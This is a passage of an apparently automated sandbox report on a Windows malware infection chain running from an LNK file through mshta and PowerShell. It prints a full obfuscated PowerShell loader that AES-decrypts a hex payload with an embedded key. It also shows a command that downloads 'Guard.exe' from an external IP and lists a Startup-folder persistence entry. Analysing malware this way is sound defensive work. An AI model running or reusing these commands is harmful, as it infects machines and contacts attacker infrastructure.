00000006.00000003.1657586967.0000023F40274000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663444018.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657068066.0000023F402F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658444595.0000023F40304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692676271.0000023F4030E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691660367.0000023F4026F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658497771.0000023F4030D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1662892425.0000023F402E5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: vdplay.pdbGCTL source: mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dvdplay.pdb source: mshta.exe, 00000006.00000003.1656620086.0000023F4026E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692811416.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656252636.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F40274000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657068066.0000023F402F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691660367.0000023F4026F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: vdplay.pdb source: mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

barindex
Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length));
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD7634 LoadLibraryA,GetProcAddress,18_2_00007FF697BD7634
Source: HA_19-12NGHEP_anh[1].6.drStatic PE information: real checksum: 0x5f0d should be: 0x1d246
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886C20B9A push ds; iretd 9_2_00007FF886C20BA2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886C291BD push E85B7E00h; ret 9_2_00007FF886C291F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF49DD push eax; retn 7AC0h9_2_00007FF886CF4A19
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF03D1 push es; iretd 9_2_00007FF886CF043A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF0D83 push cs; iretd 9_2_00007FF886CF0D8A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF5173 push edx; iretd 9_2_00007FF886CF517A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF50BB push eax; iretd 9_2_00007FF886CF50B2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF50A4 push ecx; iretd 9_2_00007FF886CF50BA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF1EA1 push ds; iretd 9_2_00007FF886CF1EA2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF364B push eax; iretd 9_2_00007FF886CF3661
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 9_2_00007FF886CF0E73 push cs; iretd 9_2_00007FF886CF0E7A
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B778FD push rdi; ret 18_2_00007FF697B77904
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B77399 push rdi; ret 18_2_00007FF697B773A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FF886C309CD push ds; iretd 25_2_00007FF886C30B1A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FF886C30AD3 push ds; iretd 25_2_00007FF886C30B1A
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F8B75 push ecx; ret 27_2_002F8B88
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D48B75 push ecx; ret 31_2_00D48B88

Persistence and Installation Behavior

barindex
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK fileProcess created: C:\Windows\System32\mshta.exe
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK fileProcess created: C:\Windows\SysWOW64\cmd.exe
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeJump to behavior
Source: LNK fileProcess created: C:\Windows\System32\mshta.exeJump to behavior
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeJump to behavior
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK fileProcess created: C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create
Source: C:\Users\Public\Guard.exeFile created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifJump to dropped file
Source: C:\Windows\System32\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]Jump to dropped file
Source: C:\Users\Public\Guard.exeFile created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\PefjSkkhb.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Windows\System32\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]Jump to dropped file

Boot Survival

barindex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B64514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,18_2_00007FF697B64514
Source: C:\Users\Public\Guard.exeCode function: 27_2_003559B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,27_2_003559B3
Source: C:\Users\Public\Guard.exeCode function: 27_2_002E5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,27_2_002E5EDA
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00DA59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,31_2_00DA59B3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D35EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,31_2_00D35EDA
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,27_2_002F33B7
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
